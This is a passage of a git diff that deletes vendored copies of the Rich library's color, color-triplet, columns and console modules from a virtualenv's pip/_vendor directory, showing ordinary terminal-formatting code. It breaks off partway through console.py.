deleted file mode 100644 index e2c23a6a91b833fd9bb20bd5238421a5c0f08df3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/color.py +++ /dev/null @@ -1,621 +0,0 @@ -import re -import sys -from colorsys import rgb_to_hls -from enum import IntEnum -from functools import lru_cache -from typing import TYPE_CHECKING, NamedTuple, Optional, Tuple - -from ._palettes import EIGHT_BIT_PALETTE, STANDARD_PALETTE, WINDOWS_PALETTE -from .color_triplet import ColorTriplet -from .repr import Result, rich_repr -from .terminal_theme import DEFAULT_TERMINAL_THEME - -if TYPE_CHECKING: # pragma: no cover - from .terminal_theme import TerminalTheme - from .text import Text - - -WINDOWS = sys.platform == "win32" - - -class ColorSystem(IntEnum): - """One of the 3 color system supported by terminals.""" - - STANDARD = 1 - EIGHT_BIT = 2 - TRUECOLOR = 3 - WINDOWS = 4 - - def __repr__(self) -> str: - return f"ColorSystem.{self.name}" - - def __str__(self) -> str: - return repr(self) - - -class ColorType(IntEnum): - """Type of color stored in Color class.""" - - DEFAULT = 0 - STANDARD = 1 - EIGHT_BIT = 2 - TRUECOLOR = 3 - WINDOWS = 4 - - def __repr__(self) -> str: - return f"ColorType.{self.name}" - - -ANSI_COLOR_NAMES = { - "black": 0, - "red": 1, - "green": 2, - "yellow": 3, - "blue": 4, - "magenta": 5, - "cyan": 6, - "white": 7, - "bright_black": 8, - "bright_red": 9, - "bright_green": 10, - "bright_yellow": 11, - "bright_blue": 12, - "bright_magenta": 13, - "bright_cyan": 14, - "bright_white": 15, - "grey0": 16, - "gray0": 16, - "navy_blue": 17, - "dark_blue": 18, - "blue3": 20, - "blue1": 21, - "dark_green": 22, - "deep_sky_blue4": 25, - "dodger_blue3": 26, - "dodger_blue2": 27, - "green4": 28, - "spring_green4": 29, - "turquoise4": 30, - "deep_sky_blue3": 32, - "dodger_blue1": 33, - "green3": 40, - "spring_green3": 41, - "dark_cyan": 36, - "light_sea_green": 37, - "deep_sky_blue2": 38, - "deep_sky_blue1": 39, - "spring_green2": 47, - "cyan3": 43, - "dark_turquoise": 44, - "turquoise2": 45, - "green1": 46, - "spring_green1": 48, - "medium_spring_green": 49, - "cyan2": 50, - "cyan1": 51, - "dark_red": 88, - "deep_pink4": 125, - "purple4": 55, - "purple3": 56, - "blue_violet": 57, - "orange4": 94, - "grey37": 59, - "gray37": 59, - "medium_purple4": 60, - "slate_blue3": 62, - "royal_blue1": 63, - "chartreuse4": 64, - "dark_sea_green4": 71, - "pale_turquoise4": 66, - "steel_blue": 67, - "steel_blue3": 68, - "cornflower_blue": 69, - "chartreuse3": 76, - "cadet_blue": 73, - "sky_blue3": 74, - "steel_blue1": 81, - "pale_green3": 114, - "sea_green3": 78, - "aquamarine3": 79, - "medium_turquoise": 80, - "chartreuse2": 112, - "sea_green2": 83, - "sea_green1": 85, - "aquamarine1": 122, - "dark_slate_gray2": 87, - "dark_magenta": 91, - "dark_violet": 128, - "purple": 129, - "light_pink4": 95, - "plum4": 96, - "medium_purple3": 98, - "slate_blue1": 99, - "yellow4": 106, - "wheat4": 101, - "grey53": 102, - "gray53": 102, - "light_slate_grey": 103, - "light_slate_gray": 103, - "medium_purple": 104, - "light_slate_blue": 105, - "dark_olive_green3": 149, - "dark_sea_green": 108, - "light_sky_blue3": 110, - "sky_blue2": 111, - "dark_sea_green3": 150, - "dark_slate_gray3": 116, - "sky_blue1": 117, - "chartreuse1": 118, - "light_green": 120, - "pale_green1": 156, - "dark_slate_gray1": 123, - "red3": 160, - "medium_violet_red": 126, - "magenta3": 164, - "dark_orange3": 166, - "indian_red": 167, - "hot_pink3": 168, - "medium_orchid3": 133, - "medium_orchid": 134, - "medium_purple2": 140, - "dark_goldenrod": 136, - "light_salmon3": 173, - "rosy_brown": 138, - "grey63": 139, - "gray63": 139, - "medium_purple1": 141, - "gold3": 178, - "dark_khaki": 143, - "navajo_white3": 144, - "grey69": 145, - "gray69": 145, - "light_steel_blue3": 146, - "light_steel_blue": 147, - "yellow3": 184, - "dark_sea_green2": 157, - "light_cyan3": 152, - "light_sky_blue1": 153, - "green_yellow": 154, - "dark_olive_green2": 155, - "dark_sea_green1": 193, - "pale_turquoise1": 159, - "deep_pink3": 162, - "magenta2": 200, - "hot_pink2": 169, - "orchid": 170, - "medium_orchid1": 207, - "orange3": 172, - "light_pink3": 174, - "pink3": 175, - "plum3": 176, - "violet": 177, - "light_goldenrod3": 179, - "tan": 180, - "misty_rose3": 181, - "thistle3": 182, - "plum2": 183, - "khaki3": 185, - "light_goldenrod2": 222, - "light_yellow3": 187, - "grey84": 188, - "gray84": 188, - "light_steel_blue1": 189, - "yellow2": 190, - "dark_olive_green1": 192, - "honeydew2": 194, - "light_cyan1": 195, - "red1": 196, - "deep_pink2": 197, - "deep_pink1": 199, - "magenta1": 201, - "orange_red1": 202, - "indian_red1": 204, - "hot_pink": 206, - "dark_orange": 208, - "salmon1": 209, - "light_coral": 210, - "pale_violet_red1": 211, - "orchid2": 212, - "orchid1": 213, - "orange1": 214, - "sandy_brown": 215, - "light_salmon1": 216, - "light_pink1": 217, - "pink1": 218, - "plum1": 219, - "gold1": 220, - "navajo_white1": 223, - "misty_rose1": 224, - "thistle1": 225, - "yellow1": 226, - "light_goldenrod1": 227, - "khaki1": 228, - "wheat1": 229, - "cornsilk1": 230, - "grey100": 231, - "gray100": 231, - "grey3": 232, - "gray3": 232, - "grey7": 233, - "gray7": 233, - "grey11": 234, - "gray11": 234, - "grey15": 235, - "gray15": 235, - "grey19": 236, - "gray19": 236, - "grey23": 237, - "gray23": 237, - "grey27": 238, - "gray27": 238, - "grey30": 239, - "gray30": 239, - "grey35": 240, - "gray35": 240, - "grey39": 241, - "gray39": 241, - "grey42": 242, - "gray42": 242, - "grey46": 243, - "gray46": 243, - "grey50": 244, - "gray50": 244, - "grey54": 245, - "gray54": 245, - "grey58": 246, - "gray58": 246, - "grey62": 247, - "gray62": 247, - "grey66": 248, - "gray66": 248, - "grey70": 249, - "gray70": 249, - "grey74": 250, - "gray74": 250, - "grey78": 251, - "gray78": 251, - "grey82": 252, - "gray82": 252, - "grey85": 253, - "gray85": 253, - "grey89": 254, - "gray89": 254, - "grey93": 255, - "gray93": 255, -} - - -class ColorParseError(Exception): - """The color could not be parsed.""" - - -RE_COLOR = re.compile( - r"""^ -\#([0-9a-f]{6})$| -color\(([0-9]{1,3})\)$| -rgb\(([\d\s,]+)\)$ -""", - re.VERBOSE, -) - - -@rich_repr -class Color(NamedTuple): - """Terminal color definition.""" - - name: str - """The name of the color (typically the input to Color.parse).""" - type: ColorType - """The type of the color.""" - number: Optional[int] = None - """The color number, if a standard color, or None.""" - triplet: Optional[ColorTriplet] = None - """A triplet of color components, if an RGB color.""" - - def __rich__(self) -> "Text": - """Displays the actual color if Rich printed.""" - from .style import Style - from .text import Text - - return Text.assemble( - f"", - ) - - def __rich_repr__(self) -> Result: - yield self.name - yield self.type - yield "number", self.number, None - yield "triplet", self.triplet, None - - @property - def system(self) -> ColorSystem: - """Get the native color system for this color.""" - if self.type == ColorType.DEFAULT: - return ColorSystem.STANDARD - return ColorSystem(int(self.type)) - - @property - def is_system_defined(self) -> bool: - """Check if the color is ultimately defined by the system.""" - return self.system not in (ColorSystem.EIGHT_BIT, ColorSystem.TRUECOLOR) - - @property - def is_default(self) -> bool: - """Check if the color is a default color.""" - return self.type == ColorType.DEFAULT - - def get_truecolor( - self, theme: Optional["TerminalTheme"] = None, foreground: bool = True - ) -> ColorTriplet: - """Get an equivalent color triplet for this color. - - Args: - theme (TerminalTheme, optional): Optional terminal theme, or None to use default. Defaults to None. - foreground (bool, optional): True for a foreground color, or False for background. Defaults to True. - - Returns: - ColorTriplet: A color triplet containing RGB components. - """ - - if theme is None: - theme = DEFAULT_TERMINAL_THEME - if self.type == ColorType.TRUECOLOR: - assert self.triplet is not None - return self.triplet - elif self.type == ColorType.EIGHT_BIT: - assert self.number is not None - return EIGHT_BIT_PALETTE[self.number] - elif self.type == ColorType.STANDARD: - assert self.number is not None - return theme.ansi_colors[self.number] - elif self.type == ColorType.WINDOWS: - assert self.number is not None - return WINDOWS_PALETTE[self.number] - else: # self.type == ColorType.DEFAULT: - assert self.number is None - return theme.foreground_color if foreground else theme.background_color - - @classmethod - def from_ansi(cls, number: int) -> "Color": - """Create a Color number from it's 8-bit ansi number. - - Args: - number (int): A number between 0-255 inclusive. - - Returns: - Color: A new Color instance. - """ - return cls( - name=f"color({number})", - type=(ColorType.STANDARD if number < 16 else ColorType.EIGHT_BIT), - number=number, - ) - - @classmethod - def from_triplet(cls, triplet: "ColorTriplet") -> "Color": - """Create a truecolor RGB color from a triplet of values. - - Args: - triplet (ColorTriplet): A color triplet containing red, green and blue components. - - Returns: - Color: A new color object. - """ - return cls(name=triplet.hex, type=ColorType.TRUECOLOR, triplet=triplet) - - @classmethod - def from_rgb(cls, red: float, green: float, blue: float) -> "Color": - """Create a truecolor from three color components in the range(0->255). - - Args: - red (float): Red component in range 0-255. - green (float): Green component in range 0-255. - blue (float): Blue component in range 0-255. - - Returns: - Color: A new color object. - """ - return cls.from_triplet(ColorTriplet(int(red), int(green), int(blue))) - - @classmethod - def default(cls) -> "Color": - """Get a Color instance representing the default color. - - Returns: - Color: Default color. - """ - return cls(name="default", type=ColorType.DEFAULT) - - @classmethod - @lru_cache(maxsize=1024) - def parse(cls, color: str) -> "Color": - """Parse a color definition.""" - original_color = color - color = color.lower().strip() - - if color == "default": - return cls(color, type=ColorType.DEFAULT) - - color_number = ANSI_COLOR_NAMES.get(color) - if color_number is not None: - return cls( - color, - type=(ColorType.STANDARD if color_number < 16 else ColorType.EIGHT_BIT), - number=color_number, - ) - - color_match = RE_COLOR.match(color) - if color_match is None: - raise ColorParseError(f"{original_color!r} is not a valid color") - - color_24, color_8, color_rgb = color_match.groups() - if color_24: - triplet = ColorTriplet( - int(color_24[0:2], 16), int(color_24[2:4], 16), int(color_24[4:6], 16) - ) - return cls(color, ColorType.TRUECOLOR, triplet=triplet) - - elif color_8: - number = int(color_8) - if number > 255: - raise ColorParseError(f"color number must be <= 255 in {color!r}") - return cls( - color, - type=(ColorType.STANDARD if number < 16 else ColorType.EIGHT_BIT), - number=number, - ) - - else: # color_rgb: - components = color_rgb.split(",") - if len(components) != 3: - raise ColorParseError( - f"expected three components in {original_color!r}" - ) - red, green, blue = components - triplet = ColorTriplet(int(red), int(green), int(blue)) - if not all(component <= 255 for component in triplet): - raise ColorParseError( - f"color components must be <= 255 in {original_color!r}" - ) - return cls(color, ColorType.TRUECOLOR, triplet=triplet) - - @lru_cache(maxsize=1024) - def get_ansi_codes(self, foreground: bool = True) -> Tuple[str, ...]: - """Get the ANSI escape codes for this color.""" - _type = self.type - if _type == ColorType.DEFAULT: - return ("39" if foreground else "49",) - - elif _type == ColorType.WINDOWS: - number = self.number - assert number is not None - fore, back = (30, 40) if number < 8 else (82, 92) - return (str(fore + number if foreground else back + number),) - - elif _type == ColorType.STANDARD: - number = self.number - assert number is not None - fore, back = (30, 40) if number < 8 else (82, 92) - return (str(fore + number if foreground else back + number),) - - elif _type == ColorType.EIGHT_BIT: - assert self.number is not None - return ("38" if foreground else "48", "5", str(self.number)) - - else: # self.standard == ColorStandard.TRUECOLOR: - assert self.triplet is not None - red, green, blue = self.triplet - return ("38" if foreground else "48", "2", str(red), str(green), str(blue)) - - @lru_cache(maxsize=1024) - def downgrade(self, system: ColorSystem) -> "Color": - """Downgrade a color system to a system with fewer colors.""" - - if self.type in (ColorType.DEFAULT, system): - return self - # Convert to 8-bit color from truecolor color - if system == ColorSystem.EIGHT_BIT and self.system == ColorSystem.TRUECOLOR: - assert self.triplet is not None - _h, l, s = rgb_to_hls(*self.triplet.normalized) - # If saturation is under 15% assume it is grayscale - if s < 0.15: - gray = round(l * 25.0) - if gray == 0: - color_number = 16 - elif gray == 25: - color_number = 231 - else: - color_number = 231 + gray - return Color(self.name, ColorType.EIGHT_BIT, number=color_number) - - red, green, blue = self.triplet - six_red = red / 95 if red < 95 else 1 + (red - 95) / 40 - six_green = green / 95 if green < 95 else 1 + (green - 95) / 40 - six_blue = blue / 95 if blue < 95 else 1 + (blue - 95) / 40 - - color_number = ( - 16 + 36 * round(six_red) + 6 * round(six_green) + round(six_blue) - ) - return Color(self.name, ColorType.EIGHT_BIT, number=color_number) - - # Convert to standard from truecolor or 8-bit - elif system == ColorSystem.STANDARD: - if self.system == ColorSystem.TRUECOLOR: - assert self.triplet is not None - triplet = self.triplet - else: # self.system == ColorSystem.EIGHT_BIT - assert self.number is not None - triplet = ColorTriplet(*EIGHT_BIT_PALETTE[self.number]) - - color_number = STANDARD_PALETTE.match(triplet) - return Color(self.name, ColorType.STANDARD, number=color_number) - - elif system == ColorSystem.WINDOWS: - if self.system == ColorSystem.TRUECOLOR: - assert self.triplet is not None - triplet = self.triplet - else: # self.system == ColorSystem.EIGHT_BIT - assert self.number is not None - if self.number < 16: - return Color(self.name, ColorType.WINDOWS, number=self.number) - triplet = ColorTriplet(*EIGHT_BIT_PALETTE[self.number]) - - color_number = WINDOWS_PALETTE.match(triplet) - return Color(self.name, ColorType.WINDOWS, number=color_number) - - return self - - -def parse_rgb_hex(hex_color: str) -> ColorTriplet: - """Parse six hex characters in to RGB triplet.""" - assert len(hex_color) == 6, "must be 6 characters" - color = ColorTriplet( - int(hex_color[0:2], 16), int(hex_color[2:4], 16), int(hex_color[4:6], 16) - ) - return color - - -def blend_rgb( - color1: ColorTriplet, color2: ColorTriplet, cross_fade: float = 0.5 -) -> ColorTriplet: - """Blend one RGB color in to another.""" - r1, g1, b1 = color1 - r2, g2, b2 = color2 - new_color = ColorTriplet( - int(r1 + (r2 - r1) * cross_fade), - int(g1 + (g2 - g1) * cross_fade), - int(b1 + (b2 - b1) * cross_fade), - ) - return new_color - - -if __name__ == "__main__": # pragma: no cover - from .console import Console - from .table import Table - from .text import Text - - console = Console() - - table = Table(show_footer=False, show_edge=True) - table.add_column("Color", width=10, overflow="ellipsis") - table.add_column("Number", justify="right", style="yellow") - table.add_column("Name", style="green") - table.add_column("Hex", style="blue") - table.add_column("RGB", style="magenta") - - colors = sorted((v, k) for k, v in ANSI_COLOR_NAMES.items()) - for color_number, name in colors: - if "grey" in name: - continue - color_cell = Text(" " * 10, style=f"on {name}") - if color_number < 16: - table.add_row(color_cell, f"{color_number}", Text(f'"{name}"')) - else: - color = EIGHT_BIT_PALETTE[color_number] # type: ignore[has-type] - table.add_row( - color_cell, str(color_number), Text(f'"{name}"'), color.hex, color.rgb - ) - - console.print(table) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/color_triplet.py b/venv/Lib/site-packages/pip/_vendor/rich/color_triplet.py deleted file mode 100644 index 02cab328251af9bfa809981aaa44933c407e2cd7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/color_triplet.py +++ /dev/null @@ -1,38 +0,0 @@ -from typing import NamedTuple, Tuple - - -class ColorTriplet(NamedTuple): - """The red, green, and blue components of a color.""" - - red: int - """Red component in 0 to 255 range.""" - green: int - """Green component in 0 to 255 range.""" - blue: int - """Blue component in 0 to 255 range.""" - - @property - def hex(self) -> str: - """get the color triplet in CSS style.""" - red, green, blue = self - return f"#{red:02x}{green:02x}{blue:02x}" - - @property - def rgb(self) -> str: - """The color in RGB format. - - Returns: - str: An rgb color, e.g. ``"rgb(100,23,255)"``. - """ - red, green, blue = self - return f"rgb({red},{green},{blue})" - - @property - def normalized(self) -> Tuple[float, float, float]: - """Convert components into floats between 0 and 1. - - Returns: - Tuple[float, float, float]: A tuple of three normalized colour components. - """ - red, green, blue = self - return red / 255.0, green / 255.0, blue / 255.0 diff --git a/venv/Lib/site-packages/pip/_vendor/rich/columns.py b/venv/Lib/site-packages/pip/_vendor/rich/columns.py deleted file mode 100644 index 669a3a7074f9a9e1af29cb4bc78b05851df67959..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/columns.py +++ /dev/null @@ -1,187 +0,0 @@ -from collections import defaultdict -from itertools import chain -from operator import itemgetter -from typing import Dict, Iterable, List, Optional, Tuple - -from .align import Align, AlignMethod -from .console import Console, ConsoleOptions, RenderableType, RenderResult -from .constrain import Constrain -from .measure import Measurement -from .padding import Padding, PaddingDimensions -from .table import Table -from .text import TextType -from .jupyter import JupyterMixin - - -class Columns(JupyterMixin): - """Display renderables in neat columns. - - Args: - renderables (Iterable[RenderableType]): Any number of Rich renderables (including str). - width (int, optional): The desired width of the columns, or None to auto detect. Defaults to None. - padding (PaddingDimensions, optional): Optional padding around cells. Defaults to (0, 1). - expand (bool, optional): Expand columns to full width. Defaults to False. - equal (bool, optional): Arrange in to equal sized columns. Defaults to False. - column_first (bool, optional): Align items from top to bottom (rather than left to right). Defaults to False. - right_to_left (bool, optional): Start column from right hand side. Defaults to False. - align (str, optional): Align value ("left", "right", or "center") or None for default. Defaults to None. - title (TextType, optional): Optional title for Columns. - """ - - def __init__( - self, - renderables: Optional[Iterable[RenderableType]] = None, - padding: PaddingDimensions = (0, 1), - *, - width: Optional[int] = None, - expand: bool = False, - equal: bool = False, - column_first: bool = False, - right_to_left: bool = False, - align: Optional[AlignMethod] = None, - title: Optional[TextType] = None, - ) -> None: - self.renderables = list(renderables or []) - self.width = width - self.padding = padding - self.expand = expand - self.equal = equal - self.column_first = column_first - self.right_to_left = right_to_left - self.align: Optional[AlignMethod] = align - self.title = title - - def add_renderable(self, renderable: RenderableType) -> None: - """Add a renderable to the columns. - - Args: - renderable (RenderableType): Any renderable object. - """ - self.renderables.append(renderable) - - def __rich_console__( - self, console: Console, options: ConsoleOptions - ) -> RenderResult: - render_str = console.render_str - renderables = [ - render_str(renderable) if isinstance(renderable, str) else renderable - for renderable in self.renderables - ] - if not renderables: - return - _top, right, _bottom, left = Padding.unpack(self.padding) - width_padding = max(left, right) - max_width = options.max_width - widths: Dict[int, int] = defaultdict(int) - column_count = len(renderables) - - get_measurement = Measurement.get - renderable_widths = [ - get_measurement(console, options, renderable).maximum - for renderable in renderables - ] - if self.equal: - renderable_widths = [max(renderable_widths)] * len(renderable_widths) - - def iter_renderables( - column_count: int, - ) -> Iterable[Tuple[int, Optional[RenderableType]]]: - item_count = len(renderables) - if self.column_first: - width_renderables = list(zip(renderable_widths, renderables)) - - column_lengths: List[int] = [item_count // column_count] * column_count - for col_no in range(item_count % column_count): - column_lengths[col_no] += 1 - - row_count = (item_count + column_count - 1) // column_count - cells = [[-1] * column_count for _ in range(row_count)] - row = col = 0 - for index in range(item_count): - cells[row][col] = index - column_lengths[col] -= 1 - if column_lengths[col]: - row += 1 - else: - col += 1 - row = 0 - for index in chain.from_iterable(cells): - if index == -1: - break - yield width_renderables[index] - else: - yield from zip(renderable_widths, renderables) - # Pad odd elements with spaces - if item_count % column_count: - for _ in range(column_count - (item_count % column_count)): - yield 0, None - - table = Table.grid(padding=self.padding, collapse_padding=True, pad_edge=False) - table.expand = self.expand - table.title = self.title - - if self.width is not None: - column_count = (max_width) // (self.width + width_padding) - for _ in range(column_count): - table.add_column(width=self.width) - else: - while column_count > 1: - widths.clear() - column_no = 0 - for renderable_width, _ in iter_renderables(column_count): - widths[column_no] = max(widths[column_no], renderable_width) - total_width = sum(widths.values()) + width_padding * ( - len(widths) - 1 - ) - if total_width > max_width: - column_count = len(widths) - 1 - break - else: - column_no = (column_no + 1) % column_count - else: - break - - get_renderable = itemgetter(1) - _renderables = [ - get_renderable(_renderable) - for _renderable in iter_renderables(column_count) - ] - if self.equal: - _renderables = [ - None - if renderable is None - else Constrain(renderable, renderable_widths[0]) - for renderable in _renderables - ] - if self.align: - align = self.align - _Align = Align - _renderables = [ - None if renderable is None else _Align(renderable, align) - for renderable in _renderables - ] - - right_to_left = self.right_to_left - add_row = table.add_row - for start in range(0, len(_renderables), column_count): - row = _renderables[start : start + column_count] - if right_to_left: - row = row[::-1] - add_row(*row) - yield table - - -if __name__ == "__main__": # pragma: no cover - import os - - console = Console() - - files = [f"{i} {s}" for i, s in enumerate(sorted(os.listdir()))] - columns = Columns(files, padding=(0, 1), expand=False, equal=False) - console.print(columns) - console.rule() - columns.column_first = True - console.print(columns) - columns.right_to_left = True - console.rule() - console.print(columns) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/console.py b/venv/Lib/site-packages/pip/_vendor/rich/console.py deleted file mode 100644 index db2ba55abd1a6dfc62331837cd51036b2300d98a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/console.py +++ /dev/null @@ -1,2680 +0,0 @@ -import inspect -import os -import sys -import threading -import zlib -from abc import ABC, abstractmethod -from dataclasses import dataclass, field -from datetime import datetime -from functools import wraps -from getpass import getpass -from html import escape -from inspect import isclass -from itertools import islice -from math import ceil -from time import monotonic -from types import FrameType, ModuleType, TracebackType -from typing import ( - IO, - TYPE_CHECKING, - Any, - Callable, - Dict, - Iterable, - List, - Literal, - Mapping, - NamedTuple, - Optional, - Protocol, - TextIO, - Tuple, - Type, - Union, - cast, - runtime_checkable, -) - -from pip._vendor.rich._null_file import NULL_FILE - -from . import errors, themes -from ._emoji_replace import _emoji_replace -from ._export_format import CONSOLE_HTML_FORMAT, CONSOLE_SVG_FORMAT -from ._fileno import get_fileno -from ._log_render import FormatTimeCallable, LogRender -from .align import Align, AlignMethod -from .color import ColorSystem, blend_rgb -from .control import Control -from .emoji import EmojiVariant -from .highlighter import NullHighlighter, ReprHighlighter -from .markup import render as render_markup -from .measure import Measurement, measure_renderables -from .pager import Pager, SystemPager -from .pretty import Pretty, is_expandable -from .protocol import rich_cast -from .region import Region -from .scope import render_scope -from .screen import Screen -from .segment import Segment -from .style import Style, StyleType -from .styled import Styled -from .terminal_theme import DEFAULT_TERMINAL_THEME, SVG_EXPORT_THEME, TerminalTheme -from .text import Text, TextType -from .theme import Theme, ThemeStack - -if TYPE_CHECKING: - from ._windows import WindowsConsoleFeatures - from .live import Live - from .status import Status - -JUPYTER_DEFAULT_COLUMNS = 115 -JUPYTER_DEFAULT_LINES = 100 -WINDOWS = sys.platform == "win32" - -HighlighterType = Callable[[Union[str, "Text"]], "Text"] -JustifyMethod = Literal["default", "left", "center", "right", "full"] -OverflowMethod = Literal["fold", "crop", "ellipsis", "ignore"] - - -class NoChange: - pass - - -NO_CHANGE = NoChange() - -try: - _STDIN_FILENO = sys.__stdin__.fileno() # type: ignore[union-attr] -except Exception: - _STDIN_FILENO = 0 -try: - _STDOUT_FILENO = sys.__stdout__.fileno() # type: ignore[union-attr] -except Exception: - _STDOUT_FILENO = 1 -try: - _STDERR_FILENO = sys.__stderr__.fileno() # type: ignore[union-attr] -except Exception: - _STDERR_FILENO = 2 - -_STD_STREAMS = (_STDIN_FILENO, _STDOUT_FILENO, _STDERR_FILENO) -_STD_STREAMS_OUTPUT = (_STDOUT_FILENO, _STDERR_FILENO) - - -_TERM_COLORS = { - "kitty": ColorSystem.EIGHT_BIT, - "256color": ColorSystem.EIGHT_BIT, - "16color": ColorSystem.STANDARD, -} - - -class ConsoleDimensions(NamedTuple): - """Size of the terminal.""" - - width: int - """The width of the console in 'cells'.""" - height: int - """The height of the console in lines.""" - - -@dataclass -class ConsoleOptions: - """Options for __rich_console__ method.""" - - size: ConsoleDimensions - """Size of console.""" - legacy_windows: bool - """legacy_windows: flag for legacy windows.""" - min_width: int - """Minimum width of renderable.""" - max_width: int - """Maximum width of renderable.""" - is_terminal: bool - """True if the target is a terminal, otherwise False.""" - encoding: str - """Encoding of terminal.""" - max_height: int - """Height of container (starts as terminal)""" - justify: Optional[JustifyMethod] = None - """Justify value override for renderable.""" - overflow: Optional[OverflowMethod] = None - """Overflow value override for renderable.""" - no_wrap: Optional[bool] = False - """Disable wrapping for text.""" - highlight: Optional[bool] = None - """Highlight override for render_str.""" - markup: Optional[bool] = None - """Enable markup when rendering strings.""" - height: Optional[int] = None - - @property - def ascii_only(self) -> bool: - """Check if renderables should use ascii only.""" - return not self.encoding.startswith("utf") - - def copy(self) -> "ConsoleOptions": - """Return a copy of the options. - - Returns: - ConsoleOptions: a copy of self. - """ - options: ConsoleOptions = ConsoleOptions.__new__(ConsoleOptions) - options.__dict__ = self.__dict__.copy() - return options - - def update( - self, - *, - width: Union[int, NoChange] = NO_CHANGE, - min_width: Union[int, NoChange] = NO_CHANGE, - max_width: Union[int, NoChange] = NO_CHANGE, - justify: Union[Optional[JustifyMethod], NoChange] = NO_CHANGE, - overflow: Union[Optional[OverflowMethod], NoChange] = NO_CHANGE, - no_wrap: Union[Optional[bool], NoChange] = NO_CHANGE, - highlight: Union[Optional[bool], NoChange] = NO_CHANGE, - markup: Union[Optional[bool], NoChange] = NO_CHANGE, - height: Union[Optional[int], NoChange] = NO_CHANGE, - ) -> "ConsoleOptions": - """Update values, return a copy.""" - options = self.copy() - if not isinstance(width, NoChange): - options.min_width = options.max_width = max(0, width) - if not isinstance(min_width, NoChange): - options.min_width = min_width - if not isinstance(max_width, NoChange): - options.max_width = max_width - if not isinstance(justify, NoChange): - options.justify = justify - if not isinstance(overflow, NoChange): - options.overflow = overflow - if not isinstance(no_wrap, NoChange): - options.no_wrap = no_wrap - if not isinstance(highlight, NoChange): - options.highlight = highlight - if not isinstance(markup, NoChange): - options.markup = markup - if not isinstance(height, NoChange): - if height is not None: - options.max_height = height - options.height = None if height is None else max(0, height) - return options - - def update_width(self, width: int) -> "ConsoleOptions": - """Update just the width, return a copy. - - Args: - width (int): New width (sets both min_width and max_width) - - Returns: - ~ConsoleOptions: New console options instance. - """ - options = self.copy() - options.min_width = options.max_width = max(0, width) - return options - - def update_height(self, height: int) -> "ConsoleOptions": - """Update the height, and return a copy. - - Args: - height (int): New height - - Returns: - ~ConsoleOptions: New Console options instance. - """ - options = self.copy() - options.max_height = options.height = height - return options - - def reset_height(self) -> "ConsoleOptions": - """Return a copy of the options with height set to ``None``. - - Returns: - ~ConsoleOptions: New console options instance. - """ - options = self.copy() - options.height = None - return options - - def update_dimensions(self, width: int, height: int) -> "ConsoleOptions": - """Update the width and height, and return a copy. - - Args: - width (int): New width (sets both min_width and max_width). - height (int): New height. - - Returns: - ~ConsoleOptions: New console options instance. - """ - options = self.copy() - options.min_width = options.max_width = max(0, width) - options.height = options.max_height = height - return options - - -@runtime_checkable -class RichCast(Protocol): - """An object that may be 'cast' to a console renderable.""" - - def __rich__( - self, - ) -> Union["ConsoleRenderable", "RichCast", str]: # pragma: no cover - ... - - -@runtime_checkable -class ConsoleRenderable(Protocol): - """An object that supports the console protocol.""" - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> "RenderResult": # pragma: no cover - ... - - -# A type that may be rendered by Console. -RenderableType = Union[ConsoleRenderable, RichCast, str] -"""A string or any object that may be rendered by Rich.""" - -# The result of calling a __rich_console__ method. -RenderResult = Iterable[Union[RenderableType, Segment]] - -_null_highlighter = NullHighlighter() - - -class CaptureError(Exception): - """An error in the Capture context manager.""" - - -class NewLine: - """A renderable to generate new line(s)""" - - def __init__(self, count: int = 1) -> None: - self.count = count - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> Iterable[Segment]: - yield Segment("\n" * self.count) - - -class ScreenUpdate: - """Render a list of lines at a given offset.""" - - def __init__(self, lines: List[List[Segment]], x: int, y: int) -> None: - self._lines = lines - self.x = x - self.y = y - - def __rich_console__( - self, console: "Console", options: ConsoleOptions - ) -> RenderResult: - x = self.x - move_to = Control.move_to - for offset, line in enumerate(self._lines, self.y): - yield move_to(x, offset) - yield from line - - -class Capture: - """Context manager to capture the result of printing to the console. - See :meth:`~rich.console.Console.capture` for how to use. - - Args: - console (Console): A console instance to capture output. - """ - - def __init__(self, console: "Console") -> None: - self._console = console - self._result: Optional[str] = None - - def __enter__(self) -> "Capture": - self._console.begin_capture() - return self - - def __exit__( - self, - exc_type: Optional[Type[BaseException]], - exc_val: Optional[BaseException], - exc_tb: Optional[TracebackType], - ) -> None: - self._result = self._console.end_capture() - - def get(self) -> str: - """Get the result of the capture.""" - if self._result is None: - raise CaptureError( - "Capture result is not available until context manager exits." - ) - return self._result - - -class ThemeContext: - """A context manager to use a temporary theme. See :meth:`~rich.console.Console.use_theme` for usage.""" - - def __init__(self, console: "Console", theme: Theme, inherit: bool = True) -> None: - self.console = console - self.theme = theme - self.inherit = inherit - - def __enter__(self) -> "ThemeContext": - self.console.push_theme(self.theme) - return self - - def __exit__( - self, - exc_type: Optional[Type[BaseException]], - exc_val: Optional[BaseException], - exc_tb: Optional[TracebackType], - ) -> None: - self.console.pop_theme() - - -class PagerContext: - """A context manager that 'pages' content. See :meth:`~rich.console.Console.pager` for usage.""" - - def __init__( - self, - console: "Console", - pager: Optional[Pager] = None, - styles: bool = False, - links: bool = False, - ) -> None: - self._console = console - self.pager = SystemPager() if pager is None else pager - self.styles = styles - self.links = links - - def __enter__(self) -> "PagerContext": - self._console._enter_buffer() - return self - - def __exit__( - self, - exc_type: Optional[Type[BaseException]], - exc_val: Optional[BaseException], - exc_tb: Optional[TracebackType], - ) -> None: - if exc_type is None: - with self._console._lock: - buffer: List[Segment] = self._console._buffer[:] - del self._console._buffer[:] - segments: Iterable[Segment] = buffer - if not self.styles: - segments = Segment.strip_styles(segments) - elif not self.links: - segments = Segment.strip_links(segments) - content = self._console._render_buffer(segments) - self.pager.show(content) - self._console._exit_buffer() - - -class ScreenContext: - """A context manager that enables an alternative screen. See :meth:`~rich.console.Console.screen` for usage.""" - - def __init__( - self, console: "Console", hide_cursor: bool, style: StyleType = "" - ) -> None: - self.console = console - self.hide_cursor = hide_cursor - self.screen = Screen(style=style) - self._changed = False - - def update( - self, *renderables: RenderableType, style: Optional[StyleType] = None - ) -> None: - """Update the screen. - - Args: - renderable (RenderableType, optional): 